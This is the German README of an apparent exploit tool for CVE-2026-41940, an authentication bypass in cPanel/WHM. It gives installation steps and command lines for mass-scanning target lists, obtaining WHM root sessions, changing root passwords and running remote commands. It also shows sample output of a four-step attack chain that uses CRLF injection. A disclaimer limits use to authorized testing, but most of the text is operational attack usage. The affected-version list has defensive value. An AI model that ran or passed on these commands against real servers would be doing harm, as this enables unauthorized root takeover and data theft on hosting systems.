CVE-2026-41940 - cPanel/WHM Auth-Bypass-Scanner & Exploit-Tool

cPanel/WHM Authentifizierungs-Bypass-Scanner & Exploit-Tool für CVE-2026-41940

⚠️ Haftungsausschluss

Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt.

Durch die Nutzung dieses Tools stimmen Sie zu, dass:

• Sie nur Systeme testen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung haben.
• Sie verstehen, dass unautorisierter Zugriff auf Computersysteme illegal ist.
• Sie sind allein für Ihre Handlungen bei der Nutzung dieses Tools verantwortlich.
• Sie dürfen dieses Tool nicht weiterverbreiten, modifizieren oder als Ihr eigenes ausgeben.

❗ Der Autor übernimmt KEINE Verantwortung für Missbrauch, illegale Aktivitäten, Schäden oder rechtliche Konsequenzen, die sich aus der Nutzung dieses Tools ergeben.

🎯 Überblick

CVE-2026-41940 ist eine kritische Schwachstelle zur Authentifizierungsumgehung in cPanel/WHM, die es Angreifern ermöglichen kann, ohne gültige Anmeldedaten unbefugten Root-Zugriff zu erlangen.

Dieses Tool bietet eine Python-basierte Implementierung für:

• Erkennung verwundbarer Ziele
• Automatisierung der Ausnutzung (für autorisierte Tests)
• Durchführung großflächiger Scans

🔥 4-stufige Angriffskette

✨ Funktionen

📋 Voraussetzungen

Python 3.7+
pip install requests urllib3

🚀 Installation

git clone https://github.com/Lutfifakee-Project/CVE-2026-41940.git
cd CVE-2026-41940
pip install -r requirements.txt

# Test with single target
python cpanel-mass-checker.py -u https://your-target.com:2087 -hostname your-target.com

📖 Verwendung

Grundlegende Befehle

# Single target
python cpanel-mass-checker.py -u https://target.com:2087

# Batch scan
python cpanel-mass-checker.py -f targets.txt -c 20

# Batch scan with port scanning
python cpanel-mass-checker.py -f targets.txt -c 20 --scan-ports -o results.txt

# Generate session URL
python cpanel-mass-checker.py -u https://target.com:2087 -session -hostname target.com

# Change root password
python cpanel-mass-checker.py -u https://target.com:2087 -passwd "NewPass123!" -hostname target.com

# Execute command (RCE)
python cpanel-mass-checker.py -u https://target.com:2087 -cmd "id" -hostname target.com

# WHM API call
python cpanel-mass-checker.py -u https://target.com:2087 -api listaccts -hostname target.com

📄 Ziel-Dateiformat (targets.txt)

# Lines starting with # are comments
https://target1.com:2087
target2.com
192.168.1.100
cpanel.example.com:2083

⚙️ Parameter

📊 Beispielausgabe

Batch-Scan

[*] Total: 4 targets (after dedup), concurrency: 10
[*] Port scanning: ON (2082, 2083, 2086, 2087)
------------------------------------------------------------
[2/4] [VULN] https://example.com:2087 - token=/cpsess1048057410
[1/4] [SAFE] safe-target.com
------------------------------------------------------------
[*] Scan completed. Vulnerable: 1
[+] Results saved to result.txt

Session-URL-Generierung

[0] hostname = example.com
[1] minting a preauth session...
[2] sending the CRLF injection...
[3] firing do_token_denied...
[4] verifying WHM root access...
[+] WHM root access obtained!
[+] Session URL:
    https://example.com:2087/cpsessXXXXXXX/

🛡️ Schwachstellendetails

Betroffene Versionen

• WHM 11.110.x < 11.110.0.97
• WHM 11.118.x < 11.118.0.63
• WHM 11.126.x < 11.126.0.54
• WHM 11.132.x < 11.132.0.29
• WHM 11.134.x < 11.134.0.20
• WHM 11.136.x < 11.136.0.5

⚠️ Wichtige Hinweise

• Nur auf autorisierten Systemen verwenden
• Sitzungstoken laufen schnell ab
• RCE kann bei eingeschränkten Lizenzen fehlschlagen
• Einige Ziele erfordern -hostname
• Der gesamte Verkehr verwendet HTTPS

🧪 Testumgebung

Für sichere und legale Tests:

• Verwenden Sie Ihren eigenen VPS/Server
• Richten Sie eine verwundbare Laborumgebung ein
• Holen Sie immer eine schriftliche Genehmigung ein

⭐ Unterstützung

Wenn Ihnen dieses Projekt geholfen hat, ziehen Sie in Betracht, ihm einen ⭐ zu geben